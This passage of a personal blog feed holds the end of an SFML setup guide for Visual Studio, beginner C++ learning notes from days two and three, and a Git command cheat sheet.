<p>Navigate to the directory that you placed the SFML directory previously and select the <code>include</code> folder inside the <code>SFML-2.4.1</code> directory . In my case the directory was ``C:\MinGW\SFML-2.4.1\include`.</p>
<p><img src="https://i.imgur.com/xPjKLch.png" alt="" /></p>
<p><img src="https://i.imgur.com/QZVAdgT.png" alt="" /></p>
<p>Next, navigate to the <code>Library Directories</code> Section in VC++ Directories category and press edit.</p>
<p><img src="https://i.imgur.com/CTTKVRe.png" alt="" /></p>
<p>In the Library Directories window click add new line and press <code>...</code> to select the directory.</p>
<p><img src="https://i.imgur.com/K6dVZwE.png" alt="" /></p>
<p>Navigate to the directory that you placed the SFML directory previously and select the <code>lib</code> folder inside the <code>SFML-2.4.1</code> directory . In my case the directory was ``C:\MinGW\SFML-2.4.1\lib`.</p>
<p><img src="https://i.imgur.com/nUTVWmi.png" alt="" /></p>
<p><img src="https://i.imgur.com/WDPEBOz.png" alt="" /></p>
<p>Next navigate to the <code>Input</code> section under the <code>Linker</code> Category. and edit the <code>Additional Dependencies</code>.
<img src="https://i.imgur.com/lNn1LTn.png" alt="" /></p>
<p>In the ‘Additional Dependencies’ window add the following lines and press ‘Ok’.</p>
<pre><code>sfml-graphics-d.lib
sfml-window-d.lib
sfml-system-d.lib
</code></pre>
<p><img src="https://i.imgur.com/6E7eigK.png" alt="" /></p>
<p>press ‘apply’</p>
<p>Next select release from the configuration drop down.</p>
<p><img src="https://i.imgur.com/pUjUPYR.png" alt="" /></p>
<p>In the Input section in Linker Category edit the Additional Dependencies.</p>
<p><img src="https://i.imgur.com/JpxXS9E.png" alt="" /></p>
<p>The 3 lines that we previously entered (sfml-graphics-d.lib, sfml-window-d.lib, sfml-system-d.lib ) will be present in this window remove the <code>-d</code> part from the 3 lines so that it becomes,</p>
<pre><code>sfml-graphics.lib
sfml-window.lib
sfml-system.lib
</code></pre>
<p><img src="https://i.imgur.com/6MM0Ovi.png" alt="" /></p>
<p>Press Ok’.</p>
<p>Press ‘Apply’, ‘Ok’ and save the changes.</p>
<p>Navigate to the folder that you saved the <code>SFML-2.4.1</code> and go inside the <code>/bin/</code> directory and copy the 11 files in that directory.</p>
<p><img src="https://i.imgur.com/d4BBzFB.png" alt="" /></p>
<p>Go the directory that you created you visual c++ win32 console application and navigate inside the project directory and paste the 11 files in that directory.</p>
<p><img src="https://i.imgur.com/Clb0mZ5.png" alt="" /></p>
<p><img src="https://i.imgur.com/ENhwMbS.png" alt="" /></p>
<p><img src="https://i.imgur.com/4Awdkpw.png" alt="" /></p>
<p>Setting up SFML is done now let’s test it.</p>
<h2 id="testing">Testing</h2>
<p>Go to the solution explorer. Under the source files category add a new .cpp file named anything I will name this as main.cpp.</p>
<p><img src="https://i.imgur.com/UIrsXvV.png" alt="" /></p>
<p><img src="https://i.imgur.com/c73Yd5d.png" alt="" /></p>
<p>Paste the following code in the .cpp file</p>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">#include <SFML/Graphics.hpp>
int main()
{
sf::RenderWindow window(sf::VideoMode(200, 200), "SFML works!");
sf::CircleShape shape(100.f);
shape.setFillColor(sf::Color::Green);
while (window.isOpen())
{
sf::Event event;
while (window.pollEvent(event))
{
if (event.type == sf::Event::Closed)
window.close();
}
window.clear();
window.draw(shape);
window.display();
}
return 0;
}
</code></pre>
<p><img src="https://i.imgur.com/ObTnZTM.png" alt="" /></p>
<p>Finally run the application</p>
<p><img src="https://i.imgur.com/Ak9hzA2.png" alt="" /></p>
<p>You will see a new screen with the following output.
<img src="https://i.imgur.com/gKwiGtJ.png" alt="" /></p>
Day 03: Teaching myself C++2024-05-08T00:00:00+00:002024-05-08T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/day-03-learning-cpp/<h2 id="note">NOTE:</h2>
<blockquote>
<p>I’m a self-taught programmer, who recently started a new adventure to learn C++ by reading a ton of other people’s code and language documentations. This method might not work for all the people. Beacause it requires a certain degree of experience in a low-level or a mid-level programming language like C in order to read and learn a language like C++ from other people’s code and language documentations. For me this was possible because, I had some experience using C which I learned for the course CS50x. First, I started with the scripts that Daniel Gakwaya, had released in his github repository <a rel="noopener" target="_blank" href="https://github.com/rutura/The-C-20-Masterclass-Source-Code">The C 20 Masterclass source code</a>. I will compose this blog post to demonstrate the lessons I learnt on my third day of analyzing his scripts.</p>
</blockquote>
<h2 id="1-switch-statements">1. Switch Statements</h2>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">#include <iostream>
#include <string>
// Tools
const int Pen{ 10 };
const int Marker{ 20 };
const int Eraser{ 30 };
const int Rectangle{ 40 };
const int Circle{ 50 };
const int Ellipse{ 60 };
int main(){
int tool {Eraser};
switch (tool)
{
case Pen : {
std::cout << "Active tool is Pen" << std::endl;
}
break;
case Marker : {
std::cout << "Active tool is Marker" << std::endl;
}
break;
case Eraser :
case Rectangle :
case Circle : {
std::cout << "Drawing Shapes" << std::endl;
}
break;
case Ellipse : {
std::cout << "Active tool is Ellipse" << std::endl;
}
break;
default: {
std::cout << "No match found" << std::endl;
}
break;
}
return 0;
}
</code></pre>
<h2 id="2-math-functions">2. Math Functions</h2>
<blockquote>
<p>should include the <code>#include <cmath></code></p>
</blockquote>
<h3 id="2-1-ceil-floor">2.1 Ceil() & floor()</h3>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">std::cout << "Weight rounded to floor is : " << std::floor(7.7) << std::endl; //7
</code></pre>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">std::cout << "Weight rounded to ceil is : " << std::ceil(7.7) << std::endl; //8
</code></pre>
<h3 id="2-2-abs">2.2 abs()</h3>
<ul>
<li>returns the absolute value of an argument</li>
</ul>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">std::cout << "Abs of weight is : " << std::abs(7.7) << std::endl; //7.7
std::cout << "Abs of savings is : " << std::abs(-5000) << std::endl; //5000
</code></pre>
<h3 id="2-3-exp-exponential">2.3 exp() (Exponential)</h3>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">double exponential = std::exp(10);
std::cout << "The exponential of 10 is : " << exponential << std::endl;
</code></pre>
<h3 id="2-4-pow-power">2.4 pow() (Power)</h3>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">std::cout << "3 ^ 4 is : " << std::pow(3,4) << std::endl;
std::cout << "9 ^ 3 is : " << std::pow(9,3) << std::endl;
</code></pre>
<h3 id="2-5-sqrt-square-root">2.5 sqrt() (Square Root)</h3>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">std::cout << "The square root of 81 is : " << std::sqrt(81) << std::endl;
</code></pre>
<h3 id="2-6-round">2.6 round()</h3>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">std::cout << "3.654 rounded to : " << std::round(3.654) << std::endl; // 4
std::cout << "2.5 is rounded to : " << std::round(2.5) << std::endl; // 3
std::cout << "2.4 is rounded to : " << std::round(2.4) << std::endl; // 2
</code></pre>
<h2 id="3-output-formatting">3. Output Formatting</h2>
<h3 id="3-1-std-endl">3.1 std::endl</h3>
<blockquote>
<p>std::endl : places a new line character on the output stream. This is identical to placing ‘\n’ on the output stream.</p>
</blockquote>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">std::cout << "Hello World!" << std::endl;
</code></pre>
<h3 id="3-2-std-flush">3.2 std::flush</h3>
<blockquote>
<p>std::flush : flushes the output buffer to its final destination.</p>
</blockquote>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp"> std::cout << "This is a nice message...." << std::endl << std::flush;
//After this std::flush, we're sure that at this line, the message has been sent
//to the stream. This may be important in some applications.
</code></pre>
<h3 id="3-3-std-setw-set-width">3.3 std::setw() (set width)</h3>
<blockquote>
<p>std::setw() : Adjusts the field with for the item about to be printed.</p>
</blockquote>
<ul>
<li>The setw() manipulator only affects the next value to be printed.</li>
</ul>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp"> //unformatted table
std::cout << "Unformatted table : " << std::endl;
std::cout << "Daniel" << " " << "Gray" << " 25" << std::endl;
std::cout << "Stanley" <<" " << "Woods" << " 33" << std::endl;
std::cout << "Jordan" << " " << "Parker" << " 45" << std::endl;
std::cout << "Joe" << " " << "Ball" << " 21" << std::endl;
std::cout << "Josh" << " " << "Carr" << " 27" << std::endl;
std::cout << "Izaiah" << " " << "Robinson" << " 29" << std::endl;
//formatted table
int col_width{14};
std::cout << std::setw(col_width) << "Lastname" << std::setw(col_width) << "Firstname" << std::setw(col_width/2) << "Age" << std::endl;
std::cout << std::setw(col_width) << "Daniel" << std::setw(col_width) << "Gray" << std::setw(col_width/2) << "25" << std::endl;
std::cout << std::setw(col_width) << "Stanley" << std::setw(col_width) << "Woods" << std::setw(col_width/2) << "33" << std::endl;
std::cout << std::setw(col_width) << "Jordan" << std::setw(col_width) << "Parker" << std::setw(col_width/2) << "45" << std::endl;
std::cout << std::setw(col_width) << "Joe" << std::setw(col_width) << "Ball" << std::setw(col_width/2) << "21" << std::endl;
std::cout << std::setw(col_width) << "Josh" << std::setw(col_width) << "Carr" << std::setw(col_width/2) <<"27" << std::endl;
std::cout << std::setw(col_width) << "Izaiah" << std::setw(col_width) << "Robinson" << std::setw(col_width/2) << "29" << std::endl;
</code></pre>
<h3 id="3-4-justify">3.4 justify</h3>
<blockquote>
<p>Justify : Values can be justified in their fields. There are three manipulators for adjusting the justification: left, right, and internal. </p>
</blockquote>
<h4 id="3-4-1-right-justified">3.4.1 right justified</h4>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp"> col_width = 20;
std::cout << std::right;
std::cout << std::setw(col_width) << "Lastname" << std::setw(col_width) << "Firstname" << std::setw(col_width/2) << "Age" << std::endl;
std::cout << std::setw(col_width) << "Daniel" << std::setw(col_width) << "Gray" << std::setw(col_width/2) << "25" << std::endl;
std::cout << std::setw(col_width) << "Stanley" << std::setw(col_width) << "Woods" << std::setw(col_width/2) << "33" << std::endl;
std::cout << std::setw(col_width) << "Jordan" << std::setw(col_width) << "Parker" << std::setw(col_width/2) << "45" << std::endl;
std::cout << std::setw(col_width) << "Joe" << std::setw(col_width) << "Ball" << std::setw(col_width/2) << "21" << std::endl;
std::cout << std::setw(col_width) << "Josh" << std::setw(col_width) << "Carr" << std::setw(col_width/2) <<"27" << std::endl;
std::cout << std::setw(col_width) << "Izaiah" << std::setw(col_width) << "Robinson" << std::setw(col_width/2) << "29" << std::endl;
</code></pre>
<h4 id="3-4-2-left-justified">3.4.2 left justified</h4>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp"> col_width = 20;
std::cout << std::left;
std::cout << std::setw(col_width) << "Lastname" << std::setw(col_width) << "Firstname" << std::setw(col_width/2) << "Age" << std::endl;
std::cout << std::setw(col_width) << "Daniel" << std::setw(col_width) << "Gray" << std::setw(col_width/2) << "25" << std::endl;
std::cout << std::setw(col_width) << "Stanley" << std::setw(col_width) << "Woods" << std::setw(col_width/2) << "33" << std::endl;
std::cout << std::setw(col_width) << "Jordan" << std::setw(col_width) << "Parker" << std::setw(col_width/2) << "45" << std::endl;
std::cout << std::setw(col_width) << "Joe" << std::setw(col_width) << "Ball" << std::setw(col_width/2) << "21" << std::endl;
std::cout << std::setw(col_width) << "Josh" << std::setw(col_width) << "Carr" << std::setw(col_width/2) <<"27" << std::endl;
std::cout << std::setw(col_width) << "Izaiah" << std::setw(col_width) << "Robinson" << std::setw(col_width/2) << "29" << std::endl;
</code></pre>
<h4 id="3-4-3-internal-justified">3.4.3 internal justified</h4>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">
//Internal justified : sign is left justified , data is right justified
std::cout << std::endl;
std::cout << "Internal justified : " << std::endl;
std::cout << std::right;
std::cout << std::setw(10) << -123.45 << std::endl;
std::cout << std::internal;
std::cout << std::setw(10) << -123.45 << std::endl;
</code></pre>
<h3 id="3-5-setfill">3.5 setfill</h3>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">std::cout << std::endl;
std::cout << "Table with fill characters : " << std::endl;
col_width = 20;
std::cout << std::left;
std::cout << std::setfill('*'); // The fill character
std::cout << std::setw(col_width) << "Lastname" << std::setw(col_width) << "Firstname" << std::setw(col_width/2) << "Age" << std::endl;
std::cout << std::setw(col_width) << "Daniel" << std::setw(col_width) << "Gray" << std::setw(col_width/2) << "25" << std::endl;
std::cout << std::setw(col_width) << "Stanley" << std::setw(col_width) << "Woods" << std::setw(col_width/2) << "33" << std::endl;
std::cout << std::setw(col_width) << "Jordan" << std::setw(col_width) << "Parker" << std::setw(col_width/2) << "45" << std::endl;
std::cout << std::setw(col_width) << "Joe" << std::setw(col_width) << "Ball" << std::setw(col_width/2) << "21" << std::endl;
std::cout << std::setw(col_width) << "Josh" << std::setw(col_width) << "Carr" << std::setw(col_width/2) <<"27" << std::endl;
std::cout << std::setw(col_width) << "Izaiah" << std::setw(col_width) << "Robinson" << std::setw(col_width/2) << "29" << std::endl;
</code></pre>
<pre><code>Table with fill characters :
Lastname************Firstname***********Age*******
Daniel**************Gray****************25********
Stanley*************Woods***************33********
Jordan**************Parker**************45********
Joe*****************Ball****************21********
Josh****************Carr****************27********
Izaiah**************Robinson************29********
</code></pre>
<h3 id="3-6-boolalpha-and-noboolapha">3.6 boolalpha and noboolapha</h3>
<blockquote>
<p>control bool output format : 1/0 or true/false</p>
</blockquote>
<ul>
<li>noboolalpha : 0/1</li>
<li>boolalpha : True/False</li>
</ul>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">bool condition {true};
bool other_condition {false};
std::cout << "condition : " << condition << std::endl;
std::cout << "other_condition : " << other_condition << std::endl;
std::cout << std::endl;
std::cout << std::boolalpha;
std::cout << "condition : " << condition << std::endl;
std::cout << "other_condition : " << other_condition << std::endl;
std::cout << std::endl;
std::cout << std::noboolalpha;
std::cout << "condition : " << condition << std::endl;
std::cout << "other_condition : " << other_condition << std::endl;
</code></pre>
<h2 id="4-arrays">4. Arrays</h2>
<h3 id="4-1-declaration">4.1 Declaration</h3>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">int array_name[9]
char message4 [] {"Hello"};
char message [6] {"Hello"}; // 6 with the '\n'
</code></pre>
<h3 id="4-2-declare-and-initialize-at-the-same-time">4.2 Declare and initialize at the same time</h3>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">// omit the size declaration
int class_sizes[] {10,12,15,11,18,17,23,56};
double salaries[5] {12.7, 7.5, 13.2, 8.1, 9.3};
</code></pre>
<h3 id="4-3-reading">4.3 Reading</h3>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">std:: cout << " scores [0] : " << scores[0] << std::endl;
std:: cout << " scores [1] : " << scores[1] << std::endl;
</code></pre>
<h3 id="4-4-read-only-arrays">4.4 Read Only Arrays</h3>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">const int birds[] {10,12,15,11,18,17,23,56};
</code></pre>
<h3 id="4-5-size-of">4.5 size of</h3>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp"> int scores [] {1,2,5};
std::cout << "sizeof(scores) : " << sizeof(scores) << std::endl; // 12
std::cout << "sizeof(scores[0]) : " << sizeof(scores[0]) << std::endl; // 4
</code></pre>
<h2 id="5-multi-dimensional-arrays">5. Multi-Dimensional Arrays</h2>
<h3 id="5-1-2d-arrays">5.1 2D Arrays</h3>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">#include <iostream>
int main(){
int packages [] [4] {
{1,2,3,4},
{5,6,7,8},
{9,10,11,12},
{3,4,5,6}
};
//Read data from a 2D array
for(size_t i{0} ; i < 3; ++ i){
for(size_t j{0}; j < 4 ; ++j){
std::cout << packages[i][j] << " ";
}
std::cout << std::endl;
}
//Use std::size to query the size of array dimensions
for(size_t i{0} ; i < std::size(packages); ++ i){
for(size_t j{0}; j < std::size(packages[i]) ; ++j){
std::cout << packages[i][j] << " ";
}
std::cout << std::endl;
}
return 0;
}
</code></pre>
<h3 id="5-2-3d-arrays">5.2 3D Arrays</h3>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">#include <iostream>
int main(){
//3D arrays are defined in the same way. We just use three sets of indexes
// 3 lights per room, 5 rooms per house 7 houses per block
int house_block [7] [5] [3] {
{
{1,2,3},{4,5,6},{7,8,9},{10,11,12},{13,14,15}
},
{
{16,17,18},{19,20,21},{22,23,24},{25,26,27},{28,29,30}
},
{
{ 31,32,33},{34,35,36},{37,38,39},{40,41,42},{43,44,45}
},
{
{46,47,48},{49,50,51},{52,53,54},{55,56,57},{58,59,60}
},
{
{61,62,63},{64,65,66},{67,68,69},{70,71,72},{73,74,75}
},
{
{76,77,78},{79,80,81},{82,83,84},{85,86,87},{88,89,90}
},
{
{91,92,93},{94,95,96},{97,98,99},{100,101,102},{103,104,105}
}
};
for(size_t i{0}; i < std::size(house_block) ; ++i){
for(size_t j{0} ; j < std::size(house_block[i]) ; ++j){
for(size_t k{0} ; k < std::size(house_block[i][j]) ; ++k){
std::cout << house_block[i][j][k] << " ";
}
}
}
//For 3d and really any multi dimensional array , you have to specify
//the number of elements in []'s , only the left most is not mandatory.
//Below is the example for 3D reproduced.Omitting the 5 or the 3 or both
//will cause a compile error.
int house_block1 [] [5] [3] {
{
{1,2,3},{4,5,6},{7,8,9},{10,11,12},{13,14,15}
},
{
{16,17,18},{19,20,21},{22,23,24},{25,26,27},{28,29,30}
},
{
{ 31,32,33},{34,35,36},{37,38,39},{40,41,42},{43,44,45}
},
{
{46,47,48},{49,50,51},{52,53,54},{55,56,57},{58,59,60}
}
};
return 0;
}
</code></pre>
<h3 id="5-3-multi-dimensional-arrays-with-characters">5.3 Multi-Dimensional Arrays with characters</h3>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">#include <iostream>
int main(){
const size_t name_length{15};
char members [][name_length] {
{'J','o','h','n'},
{'S','a','m','u','e','l',},
{'R','a','s','h','i','d'},
{'R','o','d','r','i','g','e','z'}
};
//Better : Using C-string litterals
//Compared to initialization with charactes with in '', this
// is even easier to type. The entire string is a single entity
//you can manage easily.
char members1 [][name_length] {
"John",
"Samuel",
"Rashid",
"Rodriguez"
};
//Printing out members1
std::cout << "Printing out members1 (C-string literals) : " << std::endl;
for (size_t i {0}; i < std::size(members1) ; ++i){
std::cout << members1[i] << std::endl;
}
return 0;
}
</code></pre>
<h2 id="6-generating-random-numbers">6. Generating Random Numbers</h2>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">#include <iostream>
#include <ctime>
#include <cstdlib>
int main(){
std::srand(std::time(0)); // Seed
int random_num = std::rand();
std::cout << "random_num : " << random_num << std::endl; // 0 ~ RAND_MAX
// Generate random numbers in a loop
int random_num;
for(size_t i {0} ; i < 20 ; ++i){
random_num = std::rand();
std::cout << "random_num " << i << ":" << random_num << std::endl; // 0 ~ RAND_MAX
}
// Generate a range between 0 and 10
int random_num = std::rand() % 11; // [ 0 ~10]
for(size_t i {0} ; i < 20 ; ++i){
random_num = std::rand() % 11;
std::cout << "random_num " << i << " : " << random_num << std::endl; // 0 ~ RAND_MAX
}
// Generate a range between 1 and 10
int random_num = std::rand() % 10 + 1 ; // [1~10]
for(size_t i {0} ; i < 20 ; ++i){
random_num = std::rand() % 10 + 1;
std::cout << "random_num " << i << " : " << random_num << std::endl; // 0 ~ RAND_MAX
}
return 0;
}
</code></pre>
<h2 id="7-for-loops">7. For Loops</h2>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">for( unsigned int i{0} ; i < 10000 ;++i){
//Whatever we want the loop to run
}
</code></pre>
<h3 id="7-1-multiple-declaration">7.1 Multiple declaration</h3>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">for (size_t i{0} , x {5}, y{22} ; y > 15 ; ++i , x+=5 , y-=1){
std::cout << "i: " << i << ", x : " << x << ", y : " << y << std::endl;
}
</code></pre>
<h3 id="7-2-range-based-for-loops">7.2 Range Based For loops</h3>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">int bag_of_values [] {1,2,3,4,5,6,7,8,9,10};
for (int value : bag_of_values){
std::cout << " value : " << value << std::endl;
}
</code></pre>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">for (int value : {1,2,3,4,5,6,7,8,9,10}){
std::cout << " value : " << value << std::endl;
}
</code></pre>
<h2 id="8-while-loops">8. While Loops</h2>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">#include <iostream>
int main(){
const size_t COUNT{100};
size_t i{0}; // Iterator declaration
while(i < COUNT ){ // Test
std::cout << i << " : I love C++" << std::endl;
++i; // Incrementation
}
return 0;
}
</code></pre>
<h3 id="8-1-do-while-loops">8.1 Do While Loops</h3>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">#include <iostream>
int main(){
const int COUNT{0};
size_t i{0}; // Iterator declaration
do{
std::cout << i << " : I love C++" << std::endl;
++i; // Incrementation
}while( i < COUNT);
return 0;
}
</code></pre>
<h2 id="9-break-continue-loops">9. Break & Continue Loops</h2>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp"> const size_t COUNT{20};
for(size_t i{0} ; i < COUNT ; ++i ){
if(i==5)
continue;
if(i == 11)
break; // Breaks out of the loop
std::cout << "i : " << i << std::endl;
}
</code></pre>
<h2 id="10-pointers">10. Pointers</h2>
<h3 id="10-1-declaring">10.1 Declaring</h3>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp"> //Declare and initialize pointer
int* p_number {}; // Will initialize with nullptr
double* p_fractional_number{};
//Explicitly initialize with nullptr
int* p_number1{nullptr};
int* p_fractional_number1{nullptr};
//It doesn't matter if you put the * close to data type or to varible name
int* p_number2{nullptr};
int * p_number3{nullptr};
int *p_number4{nullptr};
</code></pre>
<h3 id="10-2-assigning">10.2 Assigning</h3>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp"> int int_var {43};
int *p_int{&int_var};// The address of operator (&);
//Can't cross assign between pointers of different types
int *p_int1{nullptr};
double double_var{33}; // Compile Error
</code></pre>
<h2 id="11-file-reader">11. File Reader</h2>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp">#include <iostream>
#include <fstream>
#include <string>
int main (){
std::ifstream myfile;
myfile.open("demo.txt");
std::string myline;
if ( myfile.is_open() ) {
while ( myfile ) { // equivalent to myfile.good()
std::getline (myfile, myline);
std::cout << myline << '\n';
}
}
else {
std::cout << "Couldn't open file\n";
}
return 0;
}
</code></pre>
<p>Thats it for day 3, hope you enjoyed the content.</p>
Git CLI Commands2024-05-08T00:00:00+00:002024-05-08T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/git-cli-commands/<h2 id="1-initializing-git">1. Initializing Git</h2>
<pre><code>git init .
</code></pre>
<h2 id="2-staging-and-unstaging-files">2. Staging and Unstaging Files</h2>
<pre><code>git add .
</code></pre>
<pre><code>git reset .
</code></pre>
<h2 id="3-committing">3. Committing</h2>
<pre><code>git commit -m "commit message" "commit description(optional)"
</code></pre>
<h2 id="4-setting-remote-repositories">4. Setting Remote Repositories</h2>
<ul>
<li>Adding Remote Repositories</li>
</ul>
<pre><code>git remote add origin https://github.com/somewhere/something.git
</code></pre>
<ul>
<li>Listing remote repositories</li>
</ul>
<pre><code>git remote -v
</code></pre>
<ul>
<li>Setting the git upstream (default location to push commits)</li>
</ul>
<pre><code>git push -u origin master
OR
git push --set-upstream origin branch_name
</code></pre>
<h2 id="5-git-branches">5. Git Branches</h2>
<ul>
<li>Listing the branches</li>
</ul>
<pre><code>git branch
</code></pre>
<ul>
<li>Switch between branches</li>
</ul>
<pre><code>git checkout -b branch_name
git checkout - (moves to the previous branch)
</code></pre>
<ul>
<li>Deleting branches</li>
</ul>
<pre><code>git branch -d branch_name
</code></pre>
<h2 id="6-merging">6. Merging</h2>
<ul>
<li>Merging a branch to the master branch</li>
</ul>
<pre><code>git merge branch_name
</code></pre>
<h2 id="7-squashing">7. Squashing</h2>
<blockquote>
<p>Merge all the commits in a branch as a single commit</p>
</blockquote>
<pre><code>git merge branch_name --squash
</code></pre>
<h2 id="8-pulling">8. Pulling</h2>
<pre><code>git pull origin master
</code></pre>
<h2 id="9-combining-add-commit">9. Combining add & commit</h2>
<pre><code>git commit -am "commit message here"
</code></pre>
<h2 id="10-git-aliases">10. Git Aliases</h2>
<pre><code>git config --global alias.command_name "command -am"
AND
git config --global alias.command !better-command.sh : execute a script
</code></pre>
<h2 id="11-amend">11. Amend</h2>
<ul>
<li>Add files to the last commit (–no-edit : keep the last commit message)</li>
</ul>
<pre><code>git commit --amend --no-edit
</code></pre>
<ul>
<li>Change the last commit message</li>
</ul>
<pre><code>git commit --amend -m "new commit msg"
</code></pre>
<h2 id="12-force-push">12. Force Push</h2>
<blockquote>
<p>overwrite history on remote</p>
</blockquote>
<pre><code>git push origin master --force
</code></pre>
<h2 id="13-revert">13. Revert</h2>
<blockquote>
<p>Undo a commit with a new commit</p>
</blockquote>
<pre><code>git revert undoed_better_commit
</code></pre>
<h2 id="14-stash">14. Stash</h2>
<blockquote>
<p>will remove the newly made changes from the current working directory and save them for later use without committing them to the repository</p>
</blockquote>
<ul>
<li>Stashing</li>
</ul>
<pre><code>git stash --all
</code></pre>
<ul>
<li>Getting the stashed changes back</li>
</ul>
<pre><code>git stash pop
</code></pre>
<ul>
<li>Stashing with a name</li>
</ul>
<pre><code>git stash save stashing_name
</code></pre>
<ul>
<li>Listing the stash</li>
</ul>
<pre><code>git stash list
</code></pre>
<ul>
<li>Getting the <code>named</code> stashed changes back</li>
</ul>
<pre><code>git stash apply index_number_from_the_stashed_list
</code></pre>
<h2 id="15-renaming-the-master-branch">15. Renaming the Master Branch</h2>
<pre><code>git branch -M mucho
</code></pre>
<h2 id="16-pretty-git-logs">16. Pretty Git Logs</h2>
<pre><code>git log --graph --oneline --decorate
</code></pre>
<h2 id="17-diffing">17. Diffing</h2>
<pre><code>git diff branch_name/change_name
</code></pre>
<h2 id="18-patching">18. Patching</h2>
<blockquote>
<p>selecting only a few changes manually in a file without staging the whole file</p>
</blockquote>
<pre><code>git add -p change_name
</code></pre>
<h2 id="19-increasing-the-buffer-size">19. Increasing the buffer size</h2>
<pre><code>git config --global http.postBuffer 1048576000
</code></pre>
Day 02: Teaching myself C++2024-05-07T00:00:00+00:002024-05-07T00:00:00+00:00Unknownhttps://blog.vishalrashmika.com/blog/day-02-learning-cpp/<h2 id="note">NOTE:</h2>
<blockquote>
<p>I’m a self-taught programmer, who recently started a new adventure to learn C++ by reading a ton of other people’s code and language documentations. This method might not work for all the people. Beacause it requires a certain degree of experience in a low-level or a mid-level programming language like C in order to read and learn a language like C++ from other people’s code and language documentations. For me this was possible because, I had some experience using C which I learned for the course CS50x. First, I started with the scripts that Daniel Gakwaya, had released in his github repository <a rel="noopener" target="_blank" href="https://github.com/rutura/The-C-20-Masterclass-Source-Code">The C 20 Masterclass source code</a>. I will compose this blog post to demonstrate the lessons I learnt on my second day of analyzing his scripts.</p>
</blockquote>
<h2 id="1-type-of-initializers">1. Type of Initializers</h2>
<h3 id="1-1-braced-initializers">1.1 Braced Initializers</h3>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp"> //Braced initializers
//Variable may contain random garbage value . WARNING
int elephant_count;
int lion_count{};//Initializes to zero
int dog_count {10}; //Initializes to 10
int cat_count {15}; //Initializes to 15
//Can use expression as initializer
int domesticated_animals { dog_count + cat_count };
std::cout << "Elephant count : " << elephant_count << std::endl;
std::cout << "Lion count : " << lion_count << std::endl;
std::cout << "Dog count : " << dog_count << std::endl;
std::cout << "Cat count : " << cat_count << std::endl;
std::cout << "Domesticated animal count : " << domesticated_animals << std::endl;
</code></pre>
<h3 id="1-2-functional-initialization">1.2 Functional Initialization</h3>
<pre data-lang="cpp" class="language-cpp "><code class="language-cpp" data-lang="cpp"> //Functional Initialization
int apple_count(5);
int orange_count(10);
int fruit_count (apple_count + orange_count);
//int bad_initialization ( doesnt_exist3 + doesnt_exist4 );
//Information lost. less safe than braced initializers
int narrowing_conversion_functional (2.9);
std::cout << "Apple count : " << apple_count << std::endl;
std::cout << "Orange count : " << orange_count << std::endl;
std::cout << "Fruit count : " << fruit_count << std::endl;
std::cout << "Narrowing conversion : " << narrowing_conversion_functional << std::endl;//Will loose info
</code></pre>
<h2 id="2-types-of-integers">2. Types of Integers</h2>
<ul>
<li>signed : Signed variables can store negative, zero, and positive numbers. </li>
</ul>
<blockquote>
<p>range of possible values : [-2147483648 to 2147483647]</p>
</blockquote>
<ul>
<li>unsigned : Unsigned variables can store the number zero and positive numbers</li>
</ul>
<blockquote>
<p>range of possible values : [0 to 4294967295]</p>
</blockquote>
<p>Types of integers:</p>
<ul>
<li>short int</li>
<li>int</li>
<li>long int</li>
<li>long long int</li>
</ul>
<table><thead><tr><th style="text-align: left">Type</th><th style="text-align: center">Size (in bytes)</th><th style="text-align: left">Range</th></tr></thead><tbody>
<tr><td style="text-align: left">signed short int</td><td style="text-align: center">2</td><td style="text-align: left">-32,768 to 32,767</td></tr>
<tr><td style="text-align: left">unsigned short int</td><td style="text-align: center">2</td><td style="text-align: left">0 to 65,535</td></tr>
